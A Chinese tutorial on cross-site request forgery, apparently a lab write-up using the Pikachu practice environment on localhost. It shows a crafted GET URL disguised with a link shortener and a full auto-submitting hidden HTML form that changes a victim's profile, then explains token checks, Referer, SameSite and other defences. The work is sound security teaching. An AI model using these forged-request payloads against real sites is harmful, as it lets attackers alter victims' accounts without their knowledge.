文章目录
- 1. 跨站请求伪造(CSRF)
- 1.1 CSRF(get)
- 1.2 CSRF(post)
- 1.3 CSRF Token
- 1.4 CSRF漏洞防御
1. 跨站请求伪造(CSRF)
还可以参考我的另一篇文章:跨站请求伪造(CSRF)
全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
什么是CSRF?
CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。
1.1 CSRF(get)
这里是一个登录界面,使用提示的用户名和密码进行登录
发现是个人信息页面
点击修改个人信息,点击提交
所以这时候可以使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容。
从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么我们可以修改路径中的参数。
例如将电话好修改为一个新的参数。
127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=150666666668&add=%E5%8C%97%E4%BA%AC&email=2488%40qq.com&submit=submit
但是这个路径太明显了,可以使用短路径的方法,来伪造我们的路径。
https://s.r.sn.cn/vEARsG
如果被攻击者此时登录状态或cookie/session没有过期,如果用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了。
1.2 CSRF(post)
登陆allen账号进行修改
然后使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容
发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用。
攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。
<html><script> <!-- 这个script是用来自动提交表单的 -->window.onload = function() {document.getElementById("submit").click();}</script> <body><form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="girl" /><input type="hidden" name="phonenum" value="15088888888" /><input type="hidden" name="add" value="缅甸" /><input type="hidden" name="email" value="222488@qq.com" /><input type="hidden" name="submit" value="submit" /><input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 --></form></body>
</html>
将写好的表单部署到攻击者的站点,这里因为是本机做演示,所以位置在WWW\pikachu\vur\scrf
目录下。
用户访问攻击者的站点127.0.0.1/pikachu/vul/csrf/CSRF.html
并点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。
点击前
点击后
1.3 CSRF Token
token验证原理
CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。
网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。
使用bp抓包查看,可以看到报文中包含token
查看源代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。并且在修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。
set_token()函数在生成新token之前会先销毁老token,避免token重复使用。
1.4 CSRF漏洞防御
- 验证Referer字段
- 添加Token验证
- 二次验证:在关键操作之前,再输入密码或者验证码。
- HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
- SameSite:Cookie 属性,浏览器自带的安全机制。